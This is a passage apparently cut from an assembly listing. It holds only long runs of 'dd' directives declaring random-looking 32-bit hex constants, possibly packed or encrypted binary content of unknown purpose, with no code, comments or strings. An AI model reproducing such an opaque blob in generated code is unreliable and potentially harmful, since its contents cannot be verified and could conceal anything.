0CE0A83F0h, 0F1F38721h, 0E47FEED7h, 430E0E60h, 0F1C111ACh dd 8DDF8C2Ah, 5FA00934h, 0B1305FC2h, 0A3CBAB78h, 2F80DE9Ah dd 16A815FFh, 4EF1CBE8h, 0FECCA153h, 48631705h, 0F0F20593h dd 5E07092Dh, 9E2C55Fh, 9E7D6F91h, 256A90F1h, 26C666B1h dd 627A0507h, 96E54CD9h, 0C19580EFh, 460302EEh, 86FF681h dd 0C2F2BF5Bh, 0B5760AEFh, 0CF85F88Ch, 0E8188E9h, 8EE9C729h dd 0E23454F6h, 2083F349h, 41FE682Fh, 807C4B70h, 3157383Bh dd 0D75B8CB0h, 95BCEE0h, 0D5E9187Ah, 0EB2697FAh, 0C7435EB3h dd 0AD6CE8ECh, 1E662568h, 20A02666h, 0E9121610h, 0CFA7320Dh dd 9205E34Fh, 21D2F1B3h, 1A72FA4h, 3E30ECB1h, 0CC283A57h dd 59BCC4BAh, 0F0E0BF6h, 25C00D85h, 0C8B8ECD0h, 0BFDDEE32h dd 0F5784AA5h, 1E5ECDE3h, 26FFA430h, 0B5545FDCh, 5D8FD041h dd 0E907FA05h, 14B4FB3Bh, 9FB3E21Fh, 45C5CDE9h, 0AE128108h dd 88BB0351h, 0F455CB2Ch, 818EA8FEh, 764B0EE3h, 0F3C078A1h dd 10201244h, 0BC0678BDh, 0BF682Eh, 283630A6h, 0BC5A2BFh dd 94ABC731h, 0E49ABAF4h, 0B612E849h, 7388EFC9h, 0BDED922Ch dd 0FC52DAF4h, 38BA006Fh, 0E975F453h, 97ACB45Ah, 4B0BFAD6h dd 0A91379C1h, 0C2F316BAh, 77404Ch, 4CB30DF3h, 576031Ch dd 0E03A9426h, 0A9E9B812h, 0B27BBBA1h, 0A668C281h, 765D507h dd 6358E90Bh, 0CD64A76Ah, 0EA6812A0h, 0A52C995Fh, 5FA5AE5Eh dd 13828CE7h, 62729660h, 4C5955CEh, 0D02A6D63h, 4E2BE90Ah dd 0C942B886h, 0B7B070FBh, 0C6200516h, 0BD662D76h, 110285Eh dd 9FB2BA62h, 135FF9DDh, 4345EE33h, 0C909891h, 187A1D77h dd 6C4E5E55h, 0A097D160h, 7825D524h, 0F289060Eh, 0FDA74BE9h dd 0AD174521h, 0F746FAF4h, 3D8E37B0h, 0A07ED5D9h, 46022DFDh dd 315E9950h, 2D489C5h, 564CCC23h, 0C821707Eh, 7BD05B0h dd 6F825CD1h, 85AC7E1Ch, 0BA3F9C68h, 0D92F673Dh, 7420AD16h dd 127F7AF2h, 9114D5D1h, 5A1A6D27h, 0DA313CF8h, 9076E096h dd 0F37920BDh, 0BD056302h, 0DDCB7EDEh, 95E92681h, 85902BE2h dd 7EAA6F5Bh, 0A2D34E51h, 1712D6FAh, 558F3DBEh, 0D6E2EFA6h dd 2127531Ch, 0ADC7253Ch, 0B63EB24Ch, 72FD8424h, 5C5D9AAEh dd 2A1C48E2h, 5A5AD614h, 0E7D16FA0h, 766ED83Ah, 6802C9BAh dd 19F009B7h, 657C5559h, 9CB95180h, 0BD44296Ah, 3F243879h dd 22D2060Ch, 3724C05Ah, 0C16CB60Eh, 0C8BFF2B8h, 251365BEh dd 2BE064F3h, 0D24BF6ECh, 931B4E0h, 0F12906CEh, 17088888h dd 221E095Eh, 3DF4195Fh, 11A1142Ah, 0EDC1293Ch, 19BD7F99h dd 0DBF70809h, 0A2F68504h, 434E7813h, 0A7E18FD7h, 508CEB6Ah dd 0B1DB9E3Eh, 39802A3Fh, 9CF19FB7h, 7DED5796h, 7CEE311Ah dd 95B12D8h, 60F31880h, 42671228h, 0B58B8D1h, 8B3A5Ch dd 6230E25Bh, 0E5145C45h, 0C592B93Eh, 9190333h, 0EFB48C08h dd 80637D4h, 220425Bh, 0CF2883DFh, 10D8BFE9h, 6F135E9Dh dd 0D56B2C85h, 1C56AA15h dd 0D82516A8h, 0A0C2A89Bh, 0D8A7F25Eh, 49612D64h, 172E9094h dd 5F5AE831h, 1DE96121h, 0C8442B85h, 0B110A65Ah, 0BD15D758h dd 0FD4FBCA2h, 8E521143h, 275CE710h, 82DB1A5Fh, 5F480A27h dd 0FD828694h, 0EC63CC18h, 0CF88719Dh, 0F4A59DC5h, 0B2B02C1Ch dd 88C08D34h, 0D6686F81h, 0AB00BCDBh, 0E92D21BCh, 48EE5B27h dd 1F11BD48h, 12385668h, 2FE3BAA4h, 0A295F612h, 7B99516Fh dd 0E6ABBBC5h, 0D52984EEh, 0FB29E92Ch, 80606268h, 0FA0F99CBh dd 0C3AFBF7Eh, 0B8A9CE4Bh, 85D780DFh, 9F49341Ch, 0CE58C2CAh dd 0B332E930h, 4B9D685Fh, 92CBAD73h, 0FC0530D9h, 4A6BCEEAh dd 0C13E54F1h, 3A141FA8h, 279AB1DCh, 0F703C17h, 85828C7Eh dd 0D40041E4h, 233E56AEh, 0F28B7A51h, 0FAC8B7EEh, 0E917CE01h dd 77FACBF9h, 81E234BCh, 4261822h, 5F2A1B81h, 42CA5F3Bh dd 33EA1766h, 66415843h, 0BD5E4108h, 0B7EC7BFEh, 3AD43A86h dd 0BB35584Fh, 4E7FC204h, 0C051BC5h, 90301820h, 4C559F68h dd 4D486A7Fh, 0F9870609h, 774C0255h, 0F91EDD7Ch, 614156C1h dd 80605001h, 4969974Ah, 0D1E9E403h, 0D7E29054h, 71209441h dd 0DA4E14C9h, 0BB048F34h, 0FEF5B33Ch, 0F0E9AFE0h, 659296CEh dd 33D950Ch, 1E5FE24Fh, 45B5EB94h, 6A13A02Dh, 79AE90A7h dd 614EDF6Bh, 0A7047353h, 0FF13E190h, 0C81B5BC2h, 1E6C1F5h dd 1ECE8105h, 0BA793319h, 39628196h, 3415E97Ch, 8838FA6h dd 0CA2099B5h, 0C68E20Ah, 2D0BD710h, 0FCE61EBFh, 0FCE85E0Eh dd 0EB1A9E10h, 48BD400Fh, 0AC2BE14Bh, 19F2B7A4h, 536768A4h dd 3BDE0B62h, 2300D801h, 57B44E14h, 3F770690h, 0E9E42A06h dd 353B7E75h, 9C66DCF0h, 89B6583Dh, 58D5CC2h, 0B7EE0568h dd 6F9FF565h, 1AF16FFDh, 0F2BB8928h, 4E4165Eh, 2E45B7BBh dd 308EF178h, 9B95643Bh, 0BE6A03BBh, 4DB86EDAh, 210DD60Eh dd 0E03149F4h, 1DD3F622h, 806C4C4Fh, 806056C5h, 7F20E962h dd 8535019Fh, 891B8A53h, 524070C7h, 5CECC55Eh, 57E051C9h dd 803FDDF6h, 0F50673EDh, 59E828A5h, 0C18C40C6h, 8102E200h dd 1B2F25CAh, 9613FC2Ch, 0EF310B63h, 0BCC8055h, 1E56F723h dd 49EA6857h, 0FD84073Ch, 280012F9h, 9835DBF2h, 8D0F3F7Dh dd 0C28342CEh, 66436F0Bh, 52A98CE1h, 0F415D93h, 0F94703FFh dd 0DACB84Bh, 0CF081F42h, 0EDFF99CCh, 0C44FC8F9h, 66D52F4Fh dd 108E7004h, 0C5C90F13h, 22EEDE4h, 711F8768h, 1DA800Dh dd 0F8093088h, 0D4A6E916h, 7DB98D37h, 67586D12h, 801DECBDh dd 9876A381h, 4FD60BA6h, 0B553767h, 1329DB23h, 50D1FDFh dd 80343D25h, 5810EADFh, 877E2D28h, 555B0309h, 99A1DD19h dd 0FEA777AFh, 47EEA18Eh, 0B6C00BF6h, 0CF7554ABh, 423D925Fh dd 6EDC02Eh, 38AFF58Ah, 664DE27h, 59147995h, 0C2E22B09h dd 694DE9C3h, 0ABC77F00h, 1C94A8Dh, 929894FDh, 25F24567h dd 313DC335h, 0BF114A3h, 0B64F3E20h, 407F072h, 0ABC1089Dh dd 0AADAA87h, 844F12E0h, 479C0113h, 70568C57h, 13486E96h dd 0A3F86F34h, 7B08D121h, 75283B18h, 1F3EFC40h, 30EB4E30h dd 0A7D2E9EBh, 7B031BB5h, 0CB0320D8h, 667253EEh, 11B86819h dd 0DFFAC1E9h, 0BD4A6416h, 775A0609h, 92603592h, 7FE11EBCh dd 0AE9365B7h, 0ACE93430h, 0C80BC638h, 0A9F454E3h, 48CDE15Ah dd 4806CEF1h, 3302EB07h, 0F36028B1h, 6B5FD3ABh, 312540Ch dd 20F750D5h, 0C1B7FBEDh, 0AC89F57Dh, 0F579F91Bh, 23ED5549h dd 0E905D6AFh, 4B9865F7h, 277665DDh, 8169305Eh, 8676A518h dd 67D901E4h, 6060C257h, 814511FFh, 6CBECD07h, 0BC6C4D7Eh dd 5F79271Bh, 57CA1042h, 6BFEDC55h, 86C96DF5h, 0AB763E9h dd 30C53416h, 2C0ECCFAh, 0F8794170h, 0C3F85BE8h, 0D269E92Dh dd 7A8526A1h, 428F6118h, 5BAD7A38h, 7D3A6809h, 570BEEC6h dd 57092777h, 0C3689E8Fh, 0ADE3B05Bh, 76B9263Ch, 8C7A123Ah dd 0CC52D62Dh, 70F20499h, 0E8AA7B59h, 12B05B95h, 98DBF692h dd 0BC89789Fh, 7F7427A3h, 5F8714C2h, 80078047h, 0EB30AFC3h dd 0EDD4E93Fh, 0B0EE985h, 46B1C3BCh, 6A5193E1h, 4250E9A2h dd 0C07D8237h, 2D234C12h, 1292028h, 8B39825Fh, 8AC75734h dd 1A7CC08h, 0C73DB305h, 0F0DD6129h, 60BE3F88h, 0F8FF0449h dd 0B3C0EF1Fh, 0A548680Bh, 0F4BF17DEh, 7A79DDFAh, 5B80ADB9h dd 56EBD143h, 0D02E490h, 0E90A3659h, 0D20B75F9h, 24CBFFF6h dd 3CF09B95h, 81EB5FB3h, 28F3287Ch, 0E95107D3h, 0FD09367Eh dd 819DA6EEh, 4CA50EE2h, 13414130h, 0F119A56h, 9EA402DAh dd 7488020h, 31604A60h, 35A9CE18h, 0BC74980Fh, 1FBE00A2h dd 296F1221h, 7FF9F75Ch, 0E9C0B605h, 10CA0DA0h, 6628BE4Eh dd 0F30BAED9h, 453C2E9Ch, 0C45E43F7h, 2107121Eh, 7F2D88D2h dd 0B0894C8h, 1EBA6C40h, 84C51943h, 0E90A026Ah, 0A8C8F7D9h dd 74BDF030h, 0D1F7725Ah, 0F38A4276h, 0E6D52E75h, 32B7CB0h dd 594447F1h, 24E255BBh, 28F3048h, 2BE948EEh, 0A04C2CAAh dd 0F945905Fh, 0A2AF6602h, 525300A1h, 0DE4BE368h, 0B561B532h dd 0CA0FBEE7h, 5DEE1784h, 9686CB3Bh, 0E376A4h, 716D06CBh dd 4B11FC1Ch, 126DB7DFh, 31ACED81h, 0E94022A4h, 0F4DBD07Fh dd 8F439747h, 0FA8EB2A7h, 3F23B248h, 9BE1C9C4h, 5BDA7591h dd 2113DD62h, 0B065A8F9h, 2F0BE9C1h, 0F2455455h, 646159AFh dd 9E7AAC46h, 7EEB2A09h, 5632C29Ch, 0BFCB6CD7h, 64890365h dd 885A798Dh, 0DB2CF4AFh, 811A1C0Ch, 8BB0FE3h, 8E8211D1h dd 5FC9C299h, 0E95D6FF3h, 3CAFC116h, 49BF2B10h, 7E30F79Eh dd 72BB8024h, 3642C1Eh, 58D2DBD4h, 6FC302AAh, 54210A5Fh dd 436D0F6Fh, 0B3B5F032h, 0BCF6E818h, 173B8C5Eh, 50292651h dd 835808A8h, 0BC19A416h, 63F1E80Fh, 8DFEA9B5h, 0DEF7D813h dd 53B06F01h, 0AC6E50D9h, 5ECE00F2h, 0E9499F15h, 0FBEC4A44h dd 7589AC32h, 682C427Ah, 4CF2A45h, 31AF55C3h, 7295263h dd 1344EFD3h, 34BD3481h, 6060D962h, 0EB06885Bh, 0D6F6F386h dd 0BEDDF008h, 30752FB1h, 0B7E43886h, 2F597BEEh, 0D6282503h dd 5EC3075Ah, 6F0567C0h, 0D880EF2Fh, 8FB2525Bh, 6412FD95h dd 0E98422E7h, 49FADCD1h, 0DC0454BFh, 0CC05128Ch, 2CBE3756h dd 2AC655E2h, 771FC57Dh, 927EFDD9h, 0FE76C17Bh, 0D55A6AA6h dd 0E916A6D2h, 37AE0EC9h, 9E02BD4h, 54B08958h, 0E57DAB7h dd 44507D80h, 5137C5A0h, 0D61F0578h, 0E945566Bh, 28BE743Fh dd 71701011h, 0D2965797h, 3F947F95h, 0E558C627h, 0B0A79251h dd 0F7F847C5h, 0B91CE30Bh, 0C0E7025Dh, 407E0BCAh, 346DA78Ch dd 0C6530357h, 4B5CDAC5h, 2C61D8E1h, 4AE9A806h, 0D356B442h dd 335C54ACh, 510C26B0h, 0FFBC8925h, 60AF59CDh, 8A79C324h dd 720446F4h, 42858859h, 0BBACD0FFh, 7E1E22BCh, 0BECB5756h dd 0BAF96BB7h, 13CD5ECEh, 2B92AF29h, 0A82FDFDBh, 2158C362h dd 0E3FC3842h, 0D11CEE42h, 58C580A8h, 0F423AC9h, 0C20B8D18h dd 1F1BF2B3h, 4750301h, 0E4B16384h, 7BF0F545h, 0E9683006h dd 3183967Fh, 0EFB859C8h, 7FD949F1h, 2086AF21h, 47DEBB00h dd 34691726h, 0AB728E01h, 3EDD0F51h, 0E909B33Ch, 0B9F74CFBh dd 3E2C5BC2h, 10E66F84h, 9C0F1288h, 83F062FFh, 5FA51708h dd 62356580h, 6A16BF3Eh, 8FE6C689h, 3EA3AC4Ah, 0DF4D6936h dd 0AE741940h, 9918B124h, 0CF5B0902h, 0AFA8FD15h, 13FF2608h dd 11396190h, 8580041Bh dd 4B83E196h, 0C377B494h, 852D520Ch, 5470C65h, 1746C53h dd 904BF9FBh, 0E5E9120Dh, 9D683F80h, 3CBF322Fh, 227C76F6h dd 0F4807A60h, 0B5E3E073h, 1C65ECFEh, 0F05A35E8h, 0F55D8BB7h dd 40483Eh, 6E2C032h, 87F280h, 8A59B050h, 0E94A5EC8h, 4844F627h dd 3D73419Eh, 66B72EF1h, 0D5E55217h, 968ED35Fh, 0EB19C481h dd 0F1368A7h, 77FFB932h, 0C3A26333h, 0CC56F1DFh, 81EFBD50h dd 767312C7h, 121EE4h, 47870C74h, 4F4AE95Dh, 8EEBD5D1h dd 280ADAF0h, 80A6F301h, 62665E08h, 8ACB728Fh, 83093EFAh dd 0DD430F0Eh, 80F8B62h, 0AFF513A4h, 0B21328B2h, 885FAAEAh dd 0C4A1A5F8h, 0E68102D7h, 211F44FBh, 3AC068C1h, 698F3727h dd 4604316Dh, 12F0D7Ch, 12932B54h, 3C0B940Dh, 8F2D986Ch dd 26BBC74h, 236F2DFh, 0FE57D701h, 95B04472h, 0F3B288EBh dd 2FC6FD3Ch, 1CE6F8A1h, 4005F801h, 5F1BAD2Ah, 534094E9h dd 2E7B7FBBh, 2CD4A39h, 4E036B59h, 208E83E3h, 24F98839h dd 5BC7A0CCh, 8058E5B0h, 271A73CDh, 49F6C6F5h, 1667BEBCh dd 769148C5h, 6E333721h, 2A54C25Fh, 8C005B4Bh, 53585D16h dd 51BE56h, 0BB48093Ah, 62C24C6Ah, 471589Fh, 961B7905h dd 9110FF23h, 445B2707h, 70E91907h, 0DCE26BCAh, 7E9DF71Dh dd 0CE22F263h, 1590AB4h, 5055E531h, 28E0BDC8h, 25B31A7Bh dd 0B7BA2DCh, 13C9B08h, 9A50E835h, 4081407Ah, 4AB21F01h dd 2160681Ch, 28B8DD25h, 0B86BECE9h, 5E5720Ah, 65947292h dd 7E0105Bh, 0E6D95825h, 44563A62h, 74430376h, 0D88912A2h dd 9DE2D3E9h, 967BF61Ah, 6EE48337h, 888F547Ah, 65512CEh dd 4307E04Ch, 682F6BA4h, 0EC584BABh, 0FB2793EAh, 444A6A04h dd 0D4BA18B8h, 66A42050h, 68E6E1F7h, 96516924h, 6BB1E942h dd 0BA52D07Eh, 836E2DFAh, 304A3841h, 0E64103EBh, 468F0E85h dd 0D6FDE90Dh, 5AC4BDBDh, 0CD3CC830h, 0BA47104h, 14ABEFD1h dd 9C352DA5h, 0DF8CE252h, 0A0C9D9C9h, 0F45DFBF7h, 8A73954Fh dd 38F7B988h, 466EB12h, 0BF3E225Fh, 2C7CE9CAh, 52E5713Ch dd 0F88568C1h, 1DCFEE76h, 0D33DE0CBh, 4E870F47h, 0A2C9847Bh dd 0C98A8585h, 66995DC0h, 0A0CF5EBCh, 64EBC4F7h, 0C8FFC3A0h dd 0A93E4280h, 0E027A53Eh, 5E895E32h, 99F5FF1h, 70513772h dd 0CA6853C0h, 0BD98BD66h, 0D6BD94D3h, 225DC93Dh, 0F507017h dd 73C1F118h, 0E4AD2EE1h, 515DCC93h, 6D6E51BDh, 1B3C2A0Eh dd 7FCD41EEh, 0A20D4304h, 65C06802h, 2062EC57h, 0E12C74CFh dd 0A70B7CF0h, 155D2BCh, 6F831ACCh, 468E0F43h, 0FA555F9Ch dd 14E26FC3h, 0E9CEF4Ah, 601892F1h, 685AD959h, 61AA7182h dd 0BEA04061h, 6A2F9224h, 0B15B29FBh, 785606D9h, 0EB415FEEh dd 0E90740EDh, 6D9146EBh, 971BE502h, 0E4B8C144h, 0A880AA55h dd 0E17E5B4Dh, 0A8528CF0h, 1DF6888Ch, 5642BABFh, 0E34F1659h dd 0F652254Fh, 0B35D4401h, 52E5854h, 554946CEh, 39F7080h dd 2C0575CAh, 9FC1A3FEh, 0EC690DE5h, 7FB43FFFh, 0FCEE7F2Ch dd 0F5C85721h, 1D28924Eh, 0E9BCF178h, 574B73C7h, 0A0FCA01Ch dd 8ED0CD5Ah, 0F4EBED80h, 1D709C64h, 3656F2D1h, 4095277h dd 1EF99FFBh, 158CD053h, 9126E2Fh, 65E12CE9h, 663FBF2Bh dd 0D3F3A85Eh, 812E98F0h, 8C19D1E9h, 5F873A0Bh, 337501C6h dd 0F209719Ch, 0C7A82E5Eh, 394B0C98h, 2431020h, 423DEC4Fh dd 65D849E9h, 6E44B5h, 6BBF6018h, 0A92E581h, 0CDB0E3E7h dd 0FF2C7EC1h, 0D002FB23h, 4061554Bh, 1434FD19h, 920102AAh dd 3AB11D10h, 0EA3789BFh, 301C5668h, 66DDC187h, 0DE059828h dd 6C296EC0h, 0C24D52C8h, 0D6340470h, 43C52EC0h, 2FC6E18h dd 2471264h, 0E9567AB2h, 0C77DDE4Dh, 0C0EA610h, 883D8BAh dd 21993A17h, 0AD40C042h, 65C05D2Dh, 72D58CFh, 8B64F6D4h dd 0AA6873D6h, 7F267DB3h, 313785Ah, 5B2CBEBh, 5E802D27h dd 58FB39E4h, 5B01F25Fh, 0ED437A25h, 0CA68200Ch, 308B2216h dd 59A00EFh, 0C48C83BBh, 5EC7312Ch, 775D6062h, 532D9BEDh dd 53E90246h, 0E480036Eh, 0A14F56F3h, 5416A48h, 69CF1CB8h dd 9F62882h, 0B53E4E5Dh, 3E5BAFF8h, 5E6074E5h, 40883D0Dh dd 90ED4E96h, 3C34CAD3h, 92F5015Ah, 55A0800h, 70E007Bh dd 459A2D74h, 0FADF59DEh, 44F90728h, 0FE3BC411h, 0AFC584F7h dd 734701ADh, 0EC49DC66h, 0C8BDD926h, 0C0E76099h, 6892EE9Bh dd 44BD48E0h, 5F9198C2h, 0BA509594h, 5E8D34F0h, 424BB46Ch dd 0EA30C398h, 50050E33h, 0E508C57Eh, 3E82AF7Fh, 0EB69F985h dd 16A62804h, 5D514704h, 7D0E8BAEh, 688A2427h, 254F75F9h dd 0CC772AA9h, 565B17BFh, 0E029AAFFh, 0AA2E3C0Dh, 84D4CC45h dd 131AE4FBh, 5D17099Fh, 692672EDh, 0A5B210BDh, 0D617B748h dd 3C2F26CDh, 61668707h, 0B256883h, 933860AAh, 60004E75h dd 9EC33FBDh, 97FD01F5h, 0A425D416h, 72D67C37h, 8B6EB2FDh dd 8945F502h, 88898068h, 0E431772Ah, 0BE835051h, 0E43D2636h dd 0EB771271h, 56DEE8BCh, 0C4808493h, 17D51FCBh, 8AC4908Eh dd 384BCB6Ah, 0DDE25C87h, 62C5D6E7h, 53043E5Bh, 5A572EEFh dd 38820A95h, 23140BBEh, 17673440h, 80189F53h, 6D56ECB1h dd 2081D097h, 0C8A827EFh, 0B980071Fh, 0A10E017Ch, 1A200567h dd 232060F8h, 1689F40h, 4D76291Ch, 0F4EFD15Fh, 9CB7E2CDh dd 3547B30Eh, 0AF8AEAB6h, 2A44BB5Ah, 0F6A3D0A4h, 0CC39A705h dd 1A80FB06h, 9E1AFA68h, 7C2F60E9h, 210B612Eh, 0F825E9C1h dd 84BB0462h, 0D5FF8E29h, 0E592EE84h, 0C279F7F7h, 0E90BB568h dd 68BAC04Fh, 8E761E4Eh, 0F0BC894Bh, 0EA2D9F5Ah, 0C05AAEh dd 39B15D45h, 4E52EF81h, 0E9431706h, 1D43D83Dh, 2F4D3BC5h dd 7E90B77h, 20EAE056h, 0BD24F6D8h, 0C4B9736Bh, 76B221Dh dd 64D25C98h, 7A1BC9BEh, 0FD055F1Eh, 253564Dh, 72E9C789h dd 53BFA382h, 0A2AA8519h, 2CE0D2C9h, 0D508A22Ch, 53D4A68h dd 7E15112Eh, 8847780Bh, 0A4278171h, 96BEC35Fh, 0EB0B9EFCh dd 4326E71Bh, 0EC065A89h, 0BD2C67A3h, 3D755661h, 28F49E61h dd 0F1585F46h, 8B12B928h, 7DCDF349h, 0EAA44902h, 0AA20874Ch dd 67EC569h, 0B706048Dh, 87BB0985h, 55AB32C0h, 3FC2936Ah dd 127C0B0Ch, 0F852BB94h, 19F795FDh, 72281DF6h, 0F654236Bh dd 0F3284D04h, 940BBF17h, 9100F59Ah, 4604C0FEh, 0F3EB8013h dd 660A5DEEh, 0A8A03C8Eh, 0AA25479Dh, 0AE033737h, 6A32FD6Eh dd 870B5BB9h, 62551B68h, 0B81EF7A2h, 0E90AEF42h, 92B5CA9Dh dd 0CB1EAB41h, 0DDC12B89h, 0E8AFB365h, 2169ED20h, 4D025198h dd 0E27F1055h, 6834FE82h, 0B4E260Ch, 2D1C819h, 1389153Ch dd 4684199Eh, 9324ED0Bh, 0E0C2BA5Dh, 0E94897A7h, 85C08AC4h dd 0AF1251C7h, 28419801h, 90CEA0Ah, 32A358B0h, 0F2F462Ah dd 516929FFh, 402F557Ch, 0C45676F0h, 17AD0192h, 0A2BF97BFh dd 3BDC87DFh, 0B19C5699h, 0F3595402h, 5FCB7E18h, 25EE7889h dd 8DCDA30h, 6AA55B67h, 0B715A3F1h, 681228BBh, 0F6099F27h dd 6E66717Ah, 0E6D8B34Eh, 0F84AA4FFh, 9FC670EFh, 6B8C1BE7h dd 977629F8h, 80BE244h, 94CAD61h, 8558827h, 0EA0E5F18h dd 286D3F42h, 0F4555CFDh, 6E5DE800h, 7DE5BD47h, 2992C917h dd 48634AB0h, 57CF7109h, 2D8E422Ah, 31500576h, 9DA2FED2h dd 0EDD18382h, 1796FF41h, 0A33C0650h, 5E0CC023h, 296EF64Ch dd 3EC498F9h dd 955B5753h, 0F3EB8077h, 0FC84B788h, 0D9D94B01h, 0A4DF6C88h dd 0A2E3E9BAh, 5370DFEDh, 0B2B45012h, 0F61990EEh, 3FEE80DCh dd 31C9E930h, 44D7BBBh, 0DD095578h, 4D2BC5Bh, 28871EC2h dd 1C7300D1h, 99A681E2h, 77EA9F0Fh, 14312685h, 0AD2520A5h dd 5E9DC9C6h, 0AF0FC1B9h, 16AF3CC8h, 9DAF8041h, 819A2D23h dd 17A9E950h, 5973CF34h, 63817913h, 30C33DB8h, 471939BDh dd 2A0C66A1h, 9534C5DCh, 80D13EAh, 5B14020Ch, 3BA5D1DFh dd 0D94A2A4Dh, 50F36600h, 81B91696h, 58758703h, 440C093Eh dd 83024756h, 594C1114h, 56AE682Fh, 935AC5F0h, 0DCB253FDh dd 42B9D269h, 605D293Eh, 8086CC65h, 0B00B5052h, 84C8FE49h dd 0A7EE88A8h, 0F0BD1673h, 49AACAAEh, 45E64FDDh, 0A2348BC4h dd 47BDD2F3h, 4709EB88h, 0ECBCF59Eh, 408EE925h, 24685972h dd 88426EECh, 5C1EEB02h, 0E00C43CAh, 0FA37FCBh, 0BB58D829h dd 8A7185Ch, 0D3C7F63Dh, 3220AB0Ah, 0D093D03h, 83DBF777h dd 5F16825Ah, 5E797B18h, 3B5300CCh, 0B475E97Fh, 0DAD1B0AAh dd 7A825A0Bh, 75489DDDh, 0E6B5CE68h, 28F2713h, 978AED14h dd 878B095Ch, 0B887AAAh, 608C2772h, 91207EFCh, 650FA304h dd 2D844178h, 0FE885ED0h, 0F028275Bh, 2E9E01DDh, 0C8E4902Ch dd 2FE9E804h, 7E598007h, 13D4D62h, 2B4F1268h, 7C32BEE6h dd 0CDFAEE67h, 0E75ECA2Fh, 0FD589308h, 0C4EFB549h, 0C275A960h dd 0DBCFB3E9h, 0BF57963Eh, 0B5B6D724h, 0E30F347Ch, 27BF80Ah dd 62CE10C2h, 9CD87FDCh, 625EB00h, 0F7E94DAFh, 9F2EAC53h dd 8EC25EEBh, 0A125FBDDh, 0A06A9236h, 5A0455A9h, 52D5F75Dh dd 0A49FFCE2h, 6B54C9E8h, 0ED2DFC83h, 0F0EEB32Eh, 2654DF56h dd 2175D601h, 0B0462508h, 5EB45A5Ah, 247D5BB8h, 5B18C235h dd 0F0E600Bh, 0D62F338Ah, 8BD0C7DDh, 0FCED1B74h, 280B4FD3h dd 77D7F74Eh, 5F249A64h, 0C300336h, 789B9C13h, 0D972D2Ah dd 6C9C719Bh, 0B2F69A1h, 5ADB615Dh, 9FC7E27Eh, 0C7A632C9h dd 9CBC0887h, 4E586806h, 0F9CC2915h, 7712BCC4h, 312FA9BEh dd 2B311D5Ch, 0EFEA5DE2h, 0E97ED97Dh, 329021F2h, 0BF324F0Bh dd 2E97049h, 774EBB53h, 8DC17CA3h, 5C246ED3h, 15D0CEAh dd 950991h, 0C6505A4Bh, 7CD67DC4h, 0B3882DDAh, 0A2979846h dd 4628476Fh, 4B9E79ACh, 0D58C84C5h, 4B308E4Ah, 15FA95D1h dd 685A5E00h, 18630F27h, 0A91B9914h, 41245E17h, 5EC79087h dd 45D2A0CEh, 7CA3CC5Fh, 3C05A84h, 9331810Fh, 0B2AA8CFFh dd 0D5891CCFh, 97D5CE93h, 0F25952FBh, 8EFB85B6h, 1CCA28FAh dd 0F9BF769Ah, 0F55F46E4h, 684EE913h, 669B890h, 0EDFA9FF9h dd 49122D7Ah, 0A0C46AA1h, 9AE90703h, 0AB7B1369h, 0CB89E04h dd 2F5E4768h, 0B6774AA3h, 0D2971C8Ch, 609E552Fh, 9ABB5D4Ah dd 3B6809B8h, 7130F503h, 64EF7BE9h, 0BF075739h, 25382AA9h dd 75AD17C2h, 0F325E8E5h, 2683AF82h, 89286A85h, 0AE4192F8h dd 95C123Bh, 0CEFC067Eh, 0CC345125h, 564F7F22h, 0C3B29877h dd 9220F5B7h, 0E2885210h, 0A95AC8F6h, 9C4F1141h, 1DECDE43h dd 0FD2FE199h, 9C888640h, 5B5C244Dh, 63B84684h, 4F09EC90h dd 5806FE20h, 0FF07805Eh, 0CB682F30h, 98C899C8h, 3CD90880h dd 0F6FE805Bh, 50D25C52h, 0F9D8F189h, 501ED597h, 0D32797BEh dd 278D2482h, 0E5D99762h, 0C1D78584h, 5881BA00h, 4A0C56E4h dd 2D172DE9h, 0A8E0FFEEh, 0C26D2E6h, 0F0A7B52h, 9D248F12h dd 7778C1FDh, 0E99BC486h, 286CB91Eh, 0A609B5F2h, 59077427h dd 0C7D74B63h, 0FCE90B93h, 0BC17C1E3h, 0E17195CAh, 352A0B7Dh dd 375181C9h, 5CA3646h, 2EDF1025h, 49F2D781h, 34B0FE04h dd 0BD7A5BCEh, 7D608B29h, 0B2457BC9h, 0CAFB18C1h, 0B8C0D5B4h dd 0CEB5B4C7h, 7B681075h, 0DFE93D51h, 0B855C8B4h, 0F4645BBEh dd 201E0564h, 0B7C92FFAh, 3986FAAAh, 0DB858106h, 0C32AAC54h dd 30CF02A9h, 0FDBFF5B1h, 0F496E974h, 4A9D702Fh, 0EA5FC555h dd 1721AB39h, 18861FE0h, 0F5E0E942h, 0A951F280h, 5DCB8582h dd 0C4E2D329h, 1A39A2C1h, 13F82E7Fh, 784FC600h, 0B18D0F48h dd 4D230797h, 0F4A68072h, 74CD812Fh, 600DF939h, 7EB7FCAFh dd 2012A888h, 0E09DE225h, 2091C56Dh, 8728013Ch, 0D72CCDF5h dd 0E66A9D50h, 8148D9A5h, 7817302Dh, 4783535h, 0BC2BB07h dd 3FF80906h, 38F93E01h, 2B7868E4h, 0D3CE8C6Eh, 0E9C782BDh dd 81E576A9h, 0D451DBC5h, 19A03B34h, 0B5F37802h, 1227D163h dd 0A0F3E401h, 80DE226Ah, 10B8FE87h, 0C0008D3h, 8BAB961Eh dd 5EF12731h, 2A01E341h, 68C2F2E2h, 1271365Ch, 1898E941h dd 0EE13953Fh, 0F8A436C1h, 12D9FD2Fh, 0B54CA8B2h, 13DD74D6h dd 0FAE4F4A5h, 25E2E317h, 57C953DEh, 0F254EDEBh, 0EA0C52D1h dd 0C51FFA49h, 0AEDF29FBh, 0D0BB9684h, 68565058h, 11541E05h dd 0F4AF5E26h, 1070D4Ch, 7AE916CAh, 8BF7929h, 0EE408B2Eh dd 0B00A7672h, 0C9BB76ACh, 78AA4B7Fh, 0CFB23E1h, 157CC588h dd 0A845713h, 0CB677D04h, 23167B1Eh, 6482B799h, 5F01DF7Eh dd 89DEF758h, 9B4E2F6Ch, 8AAE0266h, 31E553FEh, 21E4F5h dd 9146FF2h, 70890F10h, 0CDD2CE5Eh, 0FFE2DD03h, 5D25A059h dd 6F78B2B0h, 85A581C6h, 0EAEB0597h, 0AB140148h, 0B4006BE3h dd 3070B53Bh, 5D25E9E5h, 0D94C7590h, 0DFEF0DD2h, 5F2760C0h dd 90D93159h, 0E908C73Ch, 2F8F5C30h, 3FCCA14Eh, 1E29E96h dd 8A5AE42Dh, 840D7D2Eh, 0B8AEAE95h, 9770F616h, 0E9F0A774h dd 5DA7B771h, 491E1FD1h, 25696A7h, 